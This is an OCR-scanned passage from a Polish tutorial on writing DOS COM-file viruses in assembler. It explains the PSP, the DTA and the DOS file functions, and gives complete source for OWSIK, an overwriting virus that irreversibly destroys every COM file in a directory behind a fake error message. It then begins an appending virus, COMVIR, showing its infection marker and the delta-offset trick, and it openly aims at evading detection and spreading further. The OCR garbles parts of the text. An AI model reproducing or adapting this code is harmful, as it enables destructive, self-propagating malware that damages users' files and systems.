; / dtugiej postaci mozemu od razu odczytaC¢ o jaki segment
; nam chodzi.

ORG 0100h

; ORG - Jjest réwniez dyrektywg kompilatora. Mowi ona kompilatorowi

; pod jakim adresem w pamieci powinna sie znajdowaC nastepujgca po niej
; instrukcja. Poniewaz chcemy skompilowaC program do COM ustawiamy te

; dyrektywe na 0100h. Instrukcja ’push cs’ po zatadowaniu

; programu do pamieci powinna znalez¢ sie doktadnie pod adresem

; CS:0100h

start

push c¢s ; CS :=ds

pop ds

mov ah, 09h ; wySwietl tancuch znakdédw - funkcja DOS
lea dx, ds:[hellol] ; zataduj offset tancucha do dx

int 21h ; wykonaj

mov ah, 4Ch ; zakoncz program - funkcja DOS

mov al, 00h

int 21h

dane:

hello db I Tove viruses!!!’, 13, 10, ’$° ; tekst do wySwietlenia

; Pamietaj, ze tekst musi by¢ zakonczony znakiem *$°.
; Gdy DOS napotka ten znak w pamieci przestaje pisac.
; Sprobuj usung¢ znak $ i uruchomicC program ...
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segment_kodu ENDS
end start ; od tej etykiety program zacznie sie wykonywac

W powyzszym programie nie powinno by¢ chyba nic niejasnego. Jesli jest to znak, ze Czy-
telnik powinien powtdrzy¢ sobie wiadomosci z programowania w Assemblerze, gdyz tego jezyka
bedziemy gtéwnie uzywac. Spéjrzmy na wygenerowany przez TASM listing. Listing jest to kod
zrédlowy programu jednak z dokldniejszym zapisem instrukeji. Instrukcje po lewej stronie sg
zapisane w postaci kodu maszynowego. To wlasnie ten kod jest zrozumialy dla komputera.

; P1ik HELLO.Tst

Turbo Assembler Version 5.0 02-14-02 05:00:50 Page 1
vir\hello.ASM

8

9 0000 segment_kodu SEGMENT

10 ASSUME cs:nothing, ds:nothing, es:nothing, ss:nothing
; wycigtem 1inijki kodu zawierajgce komentarze
; offset ; kod maszynowy rozkazu

30 0100 start:

31 0100 O push cs

32 0101 1F pop ds

33

34 0102 B4 09 mov ah, 09h
35 0104 BA 010Fr lea dx, ds:[hellol]
36 0107 CD 21 int 21h

37

38 0109 B4 4C mov ah, 4Ch
39 010B BO 00 mov al, 00h
40 010D CD 21 int 21h

41

472 010F dane:

43 010F 49 20 6C 6F 76 65 20+ hello db I love viruses!’, 13,
44 76 69 72 75 73 65 73+

45 21 21 21 0D OA 24

46

;puste

51

52 0123 segment_kodu ENDS

53 end start

Listingi sa bardzo wazne. Dzi¢ki nim mozemy zobaczy¢ jak naprawde wyglada program. A jak
naprawde wyglada? Otwoérz program przy pomocy debuggera lub hexeditora. Przesledz jego dzia-
tanie. Zwr6¢ uwage na kody maszynowe instrukeji. Pamigtaj: Debugger to podstawowe narzedzie
programisty wiruséw. Dobrym debuggerem jest Turbo Debugger(’td’). Powinien by¢ dotaczony
do Twojego TASMA.

10,
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Plik ’hello.com’ po skompilowaniu jest ciagiem kilknastu bajtéw. Niektdre z tych bajtéw to
rozkazy, a niektore to dane. Program TASM tlumaczy to, co wpisujesz do pliku hello.asm’ na
posta¢ zrozumialg dla procesora. Np. rozkaz ’push ¢s’ ma jednobajtowy kod maszynowy '0Eh’.
rozkaz ‘'mov ah’ ma réwniez jednobajtowy kod — 0B4h’. To co znajduje si¢ za nim to wartos¢,
ktéra ma zosta¢ zaladowana do rejestru ’ah’, stad kod calej instrukcji ma posta¢: 'B4 09’

Nastepny rozkaz to ’lea dx, ds:[hello]’. Zastan6éwmy sie jak zakodowac¢ te¢ instrukcje maszy-
nowo. Jak widac¢ z listingu ma ona posta¢: '‘BA 01 OF. Co ona oznaczaja? Co ta instrukcja lea
whasciwie robi? Jezeli wykonates ostatnie ¢wiczenie i uruchomite$ nasz program "hello.com’ pod
Turbo Debuggerem to na pewno zauwazyles, ze TD zdisassemblowal ciag trzech bajtéw odpo-
wiadajacych instrukgeji "lea dx, ds:[hello]” jako instrukcje ‘'mov dx, 010Fh’ Dlaczego tak si¢ stato?
Zadaniem instrukgji ’lea’ jest zaladowanie adresu poczatku ciagu znakéw do wypisania. Dzigki
temu funkcja DOS — 09h bedzie wiedziata skad ma ten tekst wypisa¢. W naszym przypadku
nasz tekst zaczyna si¢ od adresu 010Fh. Zadaniem instrukcji lea jest zatadowanie wilasnie tego
adresu. Poniewaz w tym wypadku instrukcja ’lea’ robi doktadnie to samo co ‘'mov dx, offset hel-
lo” wiec kompilator wstawia w miejsce ’lea’ rozkaz ‘'mov’. Zauwaz jedna BARDZO wazna rzecz.
Zaréwno rozkaz ’lea dx, ds:[hello]’ jak i 'mov dx, offset hello’ nie licza adresu lancucha ’hello’
dynamicznie. Kompilator w chwili natrafienia na rozkaz ‘'mov dx, offset hello’ odlicza offset
lanicucha ’hello’ w programie i wstawia w to miejsce stala, w naszym wypadku 010Fh. Dlacze-
go to jest takie wazne? Ano wyobrazmy sobie, ze po skompilowaniu programu dopiszemy przed
tanicuchem °I love viruses!” ciag 0FOh dowolnych bajtéw. Wtedy nasz tanicuch do wyswietlenia
bedzie znajdowat si¢ pod adresem 01FFh, ale w rejestrze dx znajdzie si¢ wartos¢ 010Fh. Funkcja
DOS zacznie wypisywac te OFOh bajtéw zamiast naszego tekstu. Offsety nie beda si¢ zgadzaty. Do
tego zagadnienia wrécimy przy opisie sposobu infekgji pliku COM przez rozkaz *E9 xxxx.

Jest jeszcze jedna kwestia. Skad procesor wie czy bajt, ktéry wykonuje jest rozkazem czy dana?
Ano nie wie tego wcale. Jezeli procesor zacznie wykonywa¢ dane najprawdopodobniej si¢ zawiesi,
gdyz po jakim§ czasie natrafi na np. litere, ktéra nie jest kodem rozkazu. Sprébuj teraz z kon-
ca naszego programu "hello.asm’ usuna¢ trzy ostatnie linijki konczace dziatanie programu. Co si¢
wtedy satnie? Program natrafi na ciag: ’I love viruses!’ i zacznie go wykonywac, jakby byt on dalsza
czescig programu. W najlepszym wypadku grozi zawieszenie komputera. Jaki ten Assembler piek-
ny, prawda? Przy kodowaniu w C, czy Pascalu nigdy nie wpadniemy w taka putapke. Kodowanie
w Assemblerze jest swego rodzaju sztuka.

6.3 Budowa pliku COM w pamigci

Wiemy juz, ze program COM jest tadowany przez DOS pod adres CS:0100h. A po co tak dziwnie?
Zeby utrudni¢ koderom wiruséw zycie? Co znajduje sie w tej niezbadanej przestrzeni miedzy
adresem CS:0000h, a adresem CS:0100h po zaladowaniu pliku COM do pamigci?

6.3.1 Blok wstepny programu (PSP)

Kazdemu programowni wprowadzonemu do pamigci operacyjnej przez DOS przydziela si¢ pe-
wien obszar pamieci. Poczatek tego obszaru, okre$lany jako poczatek segmentu programu ma
istotne znaczenie w systemie DOS, gdyz tam wlasnie jest umieszczany blok wtepny programu,
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Adres w pamigci Zawartos¢ pamieci
CS:0000h — CS:0100h | Blok wstepny — PSP
CS:0100h — CS:?22¢h | Kod programu zatadowany z pliku

Tabela 6.1: Wyglad programu COM po zatadowaniu do pamigci

ktéry jest odpowiedzialny za komunikacje miedzy procesem! a systemem operacyjnym. Shuzy
on systemowi do przechowywania informacji zwigzanych z procesem, m. in. informacji o pli-
kach uzwanych przez proces, parametréw przekazanych w chwili rozpoczecia procesu itp. Ogol-
nie mozna powiedziec, ze blok wstepny programu PSP (ang. program segment prefix) jest czgscia
stanu systemu operacyjnego zwiazang z aktualnie wykonywanym programem, odpowiadajac za
jego rozpoczecie, dzialanie i poprawne zakonczenie.

Rozmiar bloku PSP wynosi 256 bajtéw (0100h). Dlatego wtasnie wykonywanie programu
COM zaczyna si¢ od adresu CS:0100h. Wczesniej tzn. migdzy CS:0000h — CS:0100h znajduje
si¢ blok wstepny programu — PSP. Ogélna budowa pliku typu COM zostata przedstawiona w
tabeli 6.1.

FFFFh) zalezy do zawartosci pliku COM programu, ktéry jest whasnie wykonywany, o tyle budo-
wa bloku PSP jest zawsze taka sama. Zostata ona opisana w tabeli 6.2. Mogg si¢ tylko zamienia¢
warto$ci okreslonych pol.

Adres pola | Dlugosc¢ pola | Zawartosé

00h 2 int 20h (kod rozkazu)

02h 2 Pamig¢ niedostepna dla programu (adres
segmentowy)

04h 1 Zarezerwowane

05h 5 CALL FAR (dalekie odwotanie do systemu
DOS — 06h — dostgpna pamigc w segmen-
cie)

0Ah 4 Zapamietywany adres zakonczenia progra-

mu (segment:offset — pierwsze dwa bajty to
segment, a drugie dwa to offset — odwrot-
na kolejnos$¢) — int 22h

OEh 4 Adres programu obstugi Ctrl-
Break(segment:offset) — int 23h

12h 4 Adres programu obstugi btedéw krytycz-
nych(segment:offset) — int 24h

16h 2 Adres bloku PSP programu rodzicielskiego

18h 20 Tablica plikéw procesu(JFT). Zawiera pliki
otwarte przez proces.

2Ch 2 Adres otoczenia programu(segment)

! Procesem nazywamy zatadowany do pamieci program
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2Eh 4 Pole do przechowywania SS:SP podczas wy-
wotywania funkgji systemu

32h 2 Liczba elementéw tablicy JFT

34h 4 Daleki wskaznik(segment:offset) do tablicy
plikéw procesu JFT

38h 4 Daleki wskaznik. Brak informacji

3Ch 20 zarezerwowane

50h 3 Kody rozkazéw int 21h; retf

53h 9 Zarezerwowane

5Ch 16 Standardowy blok opisu pliku nr 1 — FCB1

6Ch 20 Standardowy blok opisu pliku nr 2 — FCB2

80h 128 Bufor transmisji dyskowych (DTA). Bezpo-
§rednio po uruchomieniu programu zawie-
ra jego wiersz wejsciowy, zawierajacy pa-
rametry podane z linii polecen, zakonczo-
ny znakiem CR(ODh). Bajt pod adresem
080h okresla dlugos¢ wiersza wejsciowego
nie uwzgledniajac znaku CR.

Tabela 6.2: Blok wstepny programu — PSP

Budowa bloku PSP jest dos¢ ztozona. Nie martw sie jednak jezeli znaczenie niektérych pél
jest dla Ciebie niejasne. Nie trzeba zna¢ wszystkich p6l. Niektore z nich nie sa uzywane od wer-
sji systemu DOS 2.0 (np. bloki FCB), a zostaly zachowane wylacznie dla zachowania zgodnosci
wersji. Dla nas najwazniejsze bedzie ostatnie pole bloku PSP zaczynajace si¢ od adresu CS:0080h
zawierajace bufor transmisji dyskowych — DTA. Bufor DTA zostanie opisany bardzo dokladnie

przy omoéwianiu funkcji przeszukujacych katalogi.

6.3.2 tadowanie pliku COM

Przekazujac sterowanie do pliku COM system DOS inicjuje kilka rejestréw ustalonymi wartoscia-

mi:

e na stosie umieszczana jest warto$¢ 0000h

IP ustawiany jest na 0100h

rejestry segmentowe CS, DS, ES, SS wskazuja na adres bloku PSP programu

SP wskazuje na koniec pamieci dostepnej w segmencie(zwykle OFFFEh)

6.4 Infekcja plikéw COM przez nadpisanie

Zanim przystapimy do pisania naszego pierwszego wirusa, poznajmy kilka uzytecznych funkgji.
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6.4.1

Spéjrzmy jeszcze raz na ostatnie pole tabeli opisujacej blok PSP. Pod adresem CS:0080h, po uru-
chomieniu programu COM, znajduje is¢ tzw. bufor transmisji dyskowych — DTA. Jego budowe
przedstawia tabela 6.3.

Kilka przydatnych funkgji i struktur

Offset | Rozmiar | Zawarto$¢

Oh 15h | Zarezerwowane dla funkcji 4Fh

15h 1h Atrybuty znalezionej pozycji w katalogu

16h 2h Czas ostatniej modyfikacji znalezionego
pliku

18h 2h Data ostatniej modyfikacji znalezionego
pliku

1Ah 4h Rozmiar znalezionego pliku w bajtach

1Eh 0Dh | Nazwa znalezionego pliku

Tabela 6.3: Budowa bufora DTA

Jest on bardzo wazny dla programisy wiruséw, gdyz to wlasnie tam funkcje przeszukujace
katalog(4Eh\21h, 4Fh\21h) zwracaja nazwe znalezionego pliku.

Najwazniejsza jest nazwa znalezionego pliku. Znajduje si¢ ona pod offsetem 2Eh liczac od
poczatku bufora DTA. Poniewaz poczatek bufora DTA znajduje si¢ pod offsetem 80h wzgledem
CS, wigc catkowite przesuniecie nazwy w segmencie wynosi: cs:[80h+2Eh].

Teraz powinni$my pozna¢ funkgcje z tabeli 6.4.

Funkgja: 4Fh przerwania 21h

Nazwa: Znajdowanie pierwszego pliku w katalogu

Wywotlanie: | ah = 4Eh
DS:DX — adres tancucha w kodzie ASCII zawierajacego ma-
ske szukanego pliku (np. *.com’) zakonczong zerem
CX — atrybuty poszukiwanego pliku

Powro6t: Ustawiony znacznik C(CF=1) — wystapit btad (zwykle brak
pliku)
Nie ustawiony znacznik C(CF=0) — OK

Opis: Funkcja przeszukuje katalog w poszukiwaniu pliku ospowia-
dajacemu wzorcowi podanym w DS:DX. Nazwa znalezione-
go pliku zwracana jest do bufora DTA(CS:0080h).

Funkgja: 4Fh przerwania 21h

Nazwa: Znajdowanie nastepnego pliku w katalogu

Wywolanie: | ah = 4Fh

Powrét: Ustawiony znacznik C(CF=1) — wystapil btad (brak nastep-
nego pliku)
Nie ustawiony znacznik C(CF=0) — OK
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Opis:

Funkcja kontynuuje przeszukiwanie katalogu w poszukiwa-
niu kolejnego pliku ospowiadajacemu wzorcowi podanym
dla funkcji 4Eh. Nazwa znalezionego pliku zwracana jest do
bufora DTA(CS:0080h).

Funkgja:

3Dh przerwania 21h

Nazwa:

Wywolanie:

Powrét:

Opis:

Otworzenie pliku

ah = 3Dh

DS:DX — nazwa pliku do otworzenia

al — tryb otwarcia pliku

al = 0 : do odczytu

al = 1 : do zapisu

al = 2 : do odczytu i zapisu

Ustawiony znacznik C(CF=1) — wystapil bfad i AX zawiera
kod btedu

Nie ustawiony znacznik C(CF=0) — OK i AX zawiera
uchwyt otworzonego pliku

Funkcja otwiera plik, ktérego nazwa znajduje si¢ pod adre-
sem DS:DX i zwraca jego uchwyt do AX.

Funkgja:

3Eh przerwania 21h

Nazwa:

Wywolanie:

Powrét:

Opis:

Zamknigcie otwartego pliku

ah = 3Eh

BX — uchwyt pliku

Ustawiony znacznik C(CF=1) — wystapil bfad i AX zawiera
kod btedu

Nie ustawiony znacznik C(CF=0) — OK

Funkcja zamyka plik otwarty za pomocg funkgji 3Dh.

Funkgja:

40h przerwania 21h

Nazwa:

Wywolanie:

Powrdt:

Opis:

Zapis do otwartego pliku

ah = 40h

BX — uchwyt pliku

DS:DX — adres bufora zawierajacego dane do zapisu

CX — iloéc bajtéw do zapisu

Ustawiony znacznik C(CF=1) — wystapil bfad i AX zawiera
kod btedu

Nie ustawiony znacznik C(CF=0) — OK i AX zawiera ilo§¢
zapisanych bajtéw

Funkgja zapisuje dane do otwartego za pomoca funcji 3Dh
pliku.

Tabela 6.4: Przydatne funkgje (1)
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6.4.2 Przykiad wirusa infekujacego przez nadpisanie

Znajac powyzsze pie¢ funkeji jesteSmy juz gotowi do napisania najprostszego wirusa. Bedzie to
bardzo prymitywny wirus. Wszystkie atakowane przez nigo obiekty przestana dziata¢. Nasz wirus
bedzie dziatat wedtug algorytmu:

1. Szukaj pierwszego pliku COM w biezacym katalogu.

2. Jezeli nie istnieje, to wyswietl wiadomos¢ i zakoncz program (W katalogu istnieje zawsze
przynajmniej jeden plik COM. Plik wirusa jest przeciez takze plikiem COM.). Jezeli znale-
ziono, to przejdz do kroku 3.

3. Otworz znaleziony plik do zapisu i zapisz na jego poczatku ciato wirusa. Wirus jest pro-
gramem aktualnie wykonywanym, wigc znajduje si¢ w pamigci operacyjnej pod adresem
CS:0100h. Po zapisaniu zamknij plik.

4. Szukaj nastepnego pliku COM. Jezeli jest, to przejdz do punktu 3. Jezeli nie istnieje, to
zakoncz program.

Przystapmy do analizy kodu zrédlowego:

; OWSIK.ASM

; OWSIK - jest bardzo prostym wirusem nadpisujgcym
; plikéw COM. Wirus niszczy nieodwracalnie
; wszystkie zarazane pliki.

; Wirus zainfekuje wszystkie pliki: **.com’
; w biezgcym katalogu.

; Autor: Piotr tadyzynski 16 lutego 2002r. Michalin
; Kompilacja: TASM owsik.asm
; Konsolidacja: TLINK (z opcjg t) owsik.ob]

dlugosc_wirusa = (offset virus_end) - (offset virus_start)

; atrybuty pozycji w katalogu

atr_tylko_do_odczytu = 00000001b
atr_ukryty = 00000010b
atr_systemowy = 00000100b
atr_volumelD = 00001000b
atr_katalog = (00010000b
atr_archiwalny = 00100000b

atrybut = 00100111b
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code segment

assume ds:code, ss:code, cs:code, es:code

org 100h Program typu COM

virus_start:
mov
mov
mov
int
jnc

jmp

znaleziono_pli
mov
mov
int

mov
mov
mov
mov
int

mov
int

szukaj_nastepn
mov
int
jnc

nie_ma_wiecej_

mov

ah, 4Eh

dx,offset plik_COM
cx, atr_archiwalny
21h
znaleziono_plik_COM

nie_ma_wiecej_plikow

k_COM:

ax, 3d02h
dx, 80h+1Eh
21h

bx, ax

ah, 40h

cx, dlugosc_wirusa
dx, 0100h
21h

ah,3Eh
21h

ego_pliku:
ah,4Fh

21h
znaleziono_plik_COM

plikow:
ah, 09h

; zaczyna sie od offsetu
;: 0100h.

; szukaj pliku
; maska pliku do szukania
; atrybut poszukiwanego pliku

; Jezeli cf=0 to znaleziono plik

; brak plku COM

; otworz plik do zapisu-odczytu
; Nazwa pliku znajduje sie
; w buforze DTA pod offsetem
; 2Eh (patrz tabela DTA). Bufor
; DTA znajduje sie w bloku PSP
; pod offsetem 080h. Stad tgczny
; offset wzgledem segmentu

DS to 80h+2Eh.

; Przekaz uchwyt pliku do bx

; funkcja - zapisz do pliku

; 1le bajtdéw zapisac

; skad zapisac. 0d adresu DS:0100h
; zaczyna Ssie nasz wirus.

; zamknij zarazony plik

; funkcja DOS -
; Szukaj nastepnego pliku

; jezeli cf=0 to znaleziono plik.

; wySwietl fikcyjng wiadomoSc¢
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mov dx, offset wiadomosc

int 21h
mov ah, 4Ch ; zakoncz program
mov al, 01h
int 21h
plik_COM db “*.com’,0
wiadomosc db "Not enough memory to allocate program structure
db 13, 10, ¢’
virus_end:
code ends
end virus_start ; Zacznij wykonywac program

; od etykiety ’virus_start’.

6.5 Infekcja plikéw COM przez skok do wirusa

Mamy juz naszego pierwszego wirusa za soba. Nie jest on moze zbyt okazaty, ale dobrze jest zaczac
od czego$§ prostego, co zobrazuje og6lny schemat. Jakie sa wady nazego OWSIKA? Po pierwsze je-
go wykrycie to sprawa bardzo krétkiego czasu. Kazdy nawet nabardziej tepy uzytkownik zauwazy,
ze co$ jest nie tak, gdy wszystkie programy COM w katalogu przestana nagle dziata¢. Nam zalezy
na jak najp6zniejszym wykryciu wirusa. Jezeli wirus bedzie odpowiednio dtugo dziatat w systemie
istnieje szansa, ze zostanie skopiowany na wigksza ilo$¢ komputeréw. Trzeba wigc napisa¢ wiru-
sa, ktéry nie niszczylby atakowanych plikéw i umozliwial po zarazeniu prawidlowe wykonanie
programu ofiary. Jak tego dokonac?

Prawidlowy sposéb infekcji plikow COM nie jest trudny. Na koncu zarazanego pliku dopi-
sujemy kod wirusa, a na poczatku pliku po uprzednim zapamigtaniu trzech pierwszych bajtow
ofiary dopisujemy trzybajtowy rozkaz skoku na koniec pliku, gdzie dopisat si¢ wirus. Najczesciej
jest to rozkaz JMP NEAR posiadajacy kod maszynowy: 0ESh ¢¢h ??h. Wartosci ?¢h ??h oznaczaja
warto$¢ dodawang do wartosci rejsetru IP po wykonaniu rozkazu. Nalezy zwréci¢ uwage, ze roz-
kaz OE9h liczy offset od swojego konca. Jezeli na przyktad rozkaz ’0E9h 00h 11h’ znajduje si¢ pod
offsetem 100h po jego wykonaniu IP = 0114h = 0100h+3h(dlugos¢ instrukeji)+11h, a nie IP =
0111h.

Po uruchomieniu zarazonego programu sterowanie zostaje oddane najpierw do wirusa, ktéry
po wykonaniu odpowiednich czynnosci przywraca zapamigtane trzy pierwsze bajty ofiary i wy-
konuje skok pod adres CS:0100h. Ofiara wykonuje si¢ w normalny sposéb. Uzytkownik zwykle
nie zauwaza nic, poza drobnym opdznieniem. Schematyczny obraz pliku zostat przedstawiony w
tabeli 6.5.
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0100h

0103h

0E9 xxxxh - rozkaz skoku do wirusa, ktéry jest dopi-
sany na koncu pliku.

xxxxh = (dtugos¢ infekowanego programu) - 3 bajty
Kod programu

Tu zaczyna si¢ kod wirusa. yyyyh = 3h + 0100h +
xxxxh.

Tabela 6.5: Zawarto$¢ zarazonego pliku COM

Przed przystapieniem do kodowania wirusa poznajmy troche uzytecznych funkcji. Zebratem

je w tabeli 6.6.

Funkgja: 1Ah przerwania 21h

Nazwa: Zmienia adres bufora DTA

Wywolanie: | ah = 1Ah
DS:DX - adres nowego bufora

Powrét: Brak.

Opis: Funkcja zmienia standardowy adres DTA (CS:0080h) na po-
dany w rejestrach DS:DX. Nalezy pamigta¢, ze nowy bufor
musi mie¢ co najmniej 80h bajtow.

Funkgja: 43h przerwania 21h

Nazwa: Sprawdzenie lub zmiana atrybutéw pliku.

Wywolanie: | ah = 43h
al = 0 — pobranie atrybutéw.
al = 1 — zmiana atrybutéw.

DS:DX — nazwa pliku
CX - nowe atrybuty(jesli al=1)

Powrét: CX — atrybuty pliku(jesli al = 0)

Opis: Funkcja odczytuje lub zmienia atrybut pliku, ktérego nazwe
podano w DS:DX.

Funkgja: 3Fh przerwania 21h

Nazwa: Odczyt z pliku

Wywolanie: | ah = 3Fh
BX — uchwyt pliku
DS:DX — adres bufora, do ktérego maja trafi¢ odczytane
dane
CX — ilos¢ bajtéw do odczytania

Powro6t: cf=1 — wystapit btad i AX zawiera kod bledu
cf=0 - wszystko OK. AX zawiera ilo$¢ odczytanych bajtow

Opis: Funkcja odczytuje dane z pliku do bufora podanego w
DS:DX. Plik musi zosta¢ wczesniej otworzony.

Funkgja: 42h przerwania 21h

Nazwa: Zmienia wskaznik pliku

Wywolanie: | ah = 42h
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Powrot:
Opis:

BX — uchwyt pliku

CX:DX — o ile bajtéw przesunaé(65536*CX + DX)

al — typ ustawienia

al = 0 : poczatek pliku + CX:DX

al = 1 : aktualna pozycja + CX:DX

al = 2 : koniec pliku + CX:DX

DX:AX - nowe potozenie wskaznika w pliku

Funkcja zmienia wskaznik w piku. Chcemy na przyktad od-
czytac bajt, ktdry jest potozony pod offsetem 0011h od po-
czatku pliku. Po otworzeniu tego pliku wskaznik jest usta-
wiany domyslnie na poczatek. Musimy wigc go przesunaé. W
tym celu fadujemy do CX=0, DX=0011h, al=0, bx=uchwyt
i wywotujemy funkjce. Teraz mozemy juz odczyta¢ wlasciwe
dane.

Funkcje mozna réwniez wykorzysta¢ do odczytania rozmia-
ru pliku. W tym celu wywotujemy ja z parametrami:

ah = 42h

al = 02h — przesun na koniec

CX=0

DX =0

Po wywotlaniu przerwania liczba zawarta w rejestrach
DX:AX zawiera aktualng pozycje w pliku, a poniewaz znaj-
dujemy si¢ doktadnie na koncu pliku, DX:AX = rozmiar pli-
ku.

Funkgja:

57h przerwania 21h

Nazwa:

Powrot:

Opis:

Wywolanie:

Sprawdzenie lub zmiana daty i czasu modyfikacji pliku.

ah =57h

al = 0 — sprawdzanie

al = 1 — zmiana

BX - uchwyt pliku

CX - czas do ustawienia(jesli al=1)

DX - data do ustawienia(jesli al=1)

CX — czas ostatniej modyfikacji pliku(jesli al = 0)

DX - data ostatniej modyfikacji pliku(jesli al = 0)

Funkcja zmienia lub sprawdza czas i date ostatniej modyfi-

kacji pliku.

Znaczenie kolejnych bitow:
DX:

9..15 —rok od 1980

5..8 — miesiac

0..4 — dzien

CX:
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11..15 — godzina
5..10 — minuta
0..4 — sekunda div 2

Funkgja: 47h przerwania 21h

Nazwa: Pytanie o biezacy katalog.

Wywolanie: | ah = 47h

DS:SI — 64 bajtowy bufor, do ktérego zostanie zwrdcona
Sciezka

dl — dysk(0=biezacy, 1=A, 080h=C itd.)

Powrét: Jezeli cf=1, to btad i AX zawiera kod btedu.

Opis: Funkcja zwraca do bufora nazwe biezacego katalogu. Mak-
symalnie 64 znaki.

Funkgja: 3Bh przerwania 21h

Nazwa: Ustalenie biezacego katalogu.

Wywolanie: | ah = 3Bh

DS:DX — adres tancucha zawierajacego nazwe nowego ka-

talogu
Powrdt: Jezeli cf=1, to blad i AX zawiera kod btedu.
cf=0 — OK
Opis: Funkcja zmienia biezacy katalog na podany w DS:DX

Tabela 6.6: Przydatne funkgje (2)

6.5.1 Piszemy wirusa

Nadszedt czas na napisanie wirusa potrafiacego prawidlowo infekowa¢ pliki COM. Wprowadzi-
my w nim kilka ulepszen. Wszystkie trudniejsze fragmenty bede na biezaco wyjasniat. Kod znaj-
duje si¢ na listingu.

; COMVIR.ASM

; COMVIR.ASM - Jest wirusem nierezydentnym plikéw **.COM”.
; Comvir jest wirusem z rodziny appending czyli
; dopisuje sie na koncu pliku.

Autor: Piotr tadyzynski 25 luty 2001r. Michalin
; Kompilacja: TASM (opcja - m3)
: Linking: TLINK (opcja - t)

; atrybuty pozycji w katalogu
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atr_tylko_do_odczytu = 00000001b

atr_ukryty = 00000010b
atr_systemowy = 00000100b
atr_volumelD = 00001000b
atr_katalog = 00010000b
atr_archiwalny = (00100000b
atrybut = 00100111b

atrybut - okre$la atrybuty poszukiwanej pozycji w katalogu.
Nasz wirus bedzie infekowat pliki z atrybutami:
atrybut = atr_tylko_do_odczytu + atr_ukryty +

+ atr_systemowy + atr_archiwalny

DTA struc
DTAfi11 db 21 dup (0)
DTAatrybut db 0
DTAczas dw O
DTAdata dw O
DTAdlugosc dd 0
DTAnazwa db 13 dup (0)

DTA ends
; TASM umozTliwia nam deklarowanie struktur podobnie jak
; w jezykach wyzszego poziomu. Od chwili zadeklarowania
DTA staje sie takag samg zmienng Jjak np. db i mozna jej uzywaC w Sposc

dlugosc_wirusa = (offset virus_end)-(offset virus_start)

Vrok = 1999
Vmiesiac =17
Vdzien =13

Vznacznik = (Vrok-1980)*512+Vmiesiac*32+Vdzien

; Chcemy zeby nasz wirus nie zarazat plikdéw juz zarazonych. W tym celu

; oznaczymy zarazone Jjuz pliki przez date modyfikacji tzn. ustawimy
kazdemu zarazanemu plikowi date modyfikacji na np. 13.12.1999r.

; Kiedy wirus zobaczy, ze data modyfikacji ma wtasSnie tg wartosSc

; ominie plik gdyz uzna go jako juz zarazony.

; Wzor okreSlajacy VZnacznik wynika ze sposobu podawania daty do funkc]
57h przerwania 21h(patrz opis funkcji).

; blz = 279 <- mov dx, (rok-1980) <- shl dx, 9

; 32 = 275

MojProgram SEGMENT
ASSUME CS:MojProgram
org 0100h
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start:

db 0E9h, 00h, 00h
; Symulowany skok do wirusa. Po wykonaniu tego skoku
; IP = offset virus_start

virus_start:
call trick
trick:
pop  bp
sub bp, offset trick

Stop. Przeczytaj poprzednie trzy rozkazy jeszcze raz. Znajdujg si¢ one na poczatku wiekszo-
$ci wiruséw. Piszac program HELLO.ASM zwrécilem uwage na bardzo istotny fakt, a mianowi-
cie na statyczne liczenie offsetéw w programie przez kompilator. Jakie to ma dla nas znaczenie?
Wyobrazmy sobie taka sytuacje. Mamy wirusa, tuz po kompilacji. Znajduje si¢ on pod offsetem
CS:0100h i chcemy odwotac sie np. do zmiennej, ktéra znajduje si¢ pod offsetem CS:0110h. Teraz
nic nie stoi na przeszkodzie, ale pamigtajmy o tym, ze w nastepnym pokoleniu wirus nie bedzie
zaczynal si¢ juz od adresu 0100h, poniewaz dopisze si¢ na koncu pliku. Jezeli wtedy odwotamy si¢
do zmiennej, ktéra znajduje si¢ pod offsetem CS:0110h to nie odczytamy zaplanowanej zmiennej
tylko jakas instrukcje programu, ktéry zarazilismy. Jak ominac te bariere?

Zastanéwmy sie¢ jak policzy¢ nowy offset naszej zmiennej. Nowy offset naszej zmiennej po
dopisaniu si¢ na konicu programu o dtugosci k bajtéw liczymy wg. wzoru:

nowy = stary + k —3

Te trzy bajty wynikajg z tego, ze wirus zapisuje si¢ do pliku od etykiety ’virus_start, wigc nie
liczymy dtugosci rozkazu: 0ESh 00h 00h.

Po co jednak to CALL? Instrukcja CALL odklada na stosie adres powrotu(IP), a potem wyko-
nuje skok do etykiety(adresu). Procesor po natrafeniu na rozkaz RET zdejmuje ze stosu wartos§¢
IP i wraca do punktu wywotania procedury. My uzyjemy CALL, aby dowiedzie¢ si¢ o aktualnym
offsecie w programie(wrtosci IP). Wykonujemy rozkaz CALL, ktéry odklada IP na stosie i skacze
do etykiety ’trick’ Zdejmujemy adres odtozony na stosie do rejestru BP. Teraz od wartosci reje-
stru BP odejmujemy offset etykiety 'trick’. Pamietajmy jednak, ze "offset trick’ zostanie w procesie
kompilacji zastapiony przez kompilator(TASM) stalg liczbg. W naszym przypadku wartos¢ ta zo-
stanie zastapiona na 0106h, poniewaz pod wlasnie takim offsetem znajduje si¢ etykieta ’trick’. Przy
pierwszym uruchomieniu zawarto$¢ rejestru BP takze wyniesie 0106h, wigc po odjeciu wzgledne
przesunigcie zawarte w BP wyniesie 0, co jest prawda.

Wyobrazmy sobie teraz, ze nasz wirus zainfekowat jaki§ program np. ’hello.com’. Wtedy do
rejsetru BP trafi:

BP = dlugosc_programu_hello + 100h + 3(instrukcjaCALL)

Po odjeciu od BP 106 bajtéw w BP dostaniemy wzgledne przesunigcie wirusa w segmencie. Teraz
zamiast adresowac zmienna:
lea dx, [zmienna]
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bedziemy ja adresowac:

Ostatnia instrukeja jest rownowazna instrukcjom:

lea dx, [bp][zmienna]

mov dx, offset zmienna

add dx, bp

Bedziemy przy odwotaniu do kazdej zmiennej bra¢ poprawke na rejestr BP. Mozna oczywiscie
zmiast rejestru BP uzywa¢ dowolnego innego np. SI.

Teraz skompiluj calego wirusa i sprawdz zachowanie si¢ sztuczki z CALL pod Turbo Debugge-
rem. Najpierw uruchom czystego wirusa i sprawdz dzialanie pierwszych kilku instrukcji, a potem
zaraz program HELLO.COM wirusem i réwniez przesledz dziatanie naszego triku z instrukcja
CALL. Bacznie obserwuj co odkladane jest na stosie(SS:SP) przy wywotaniu instrukcji CALL.
Mozesz réwniez zarazi¢ inne programy i dla ¢wiczenia przeanalizowac liczenie offsetu wzgledne-
go w BP. Badz jednak uwazny. Wirus przeskakuje katalogi do géry to znaczy, ze jezeli urucho-
misz go w katalogu ’C:\ALA\MA\KOTA’ to zostana zarazone wszystkie pliki COM w katalogach:
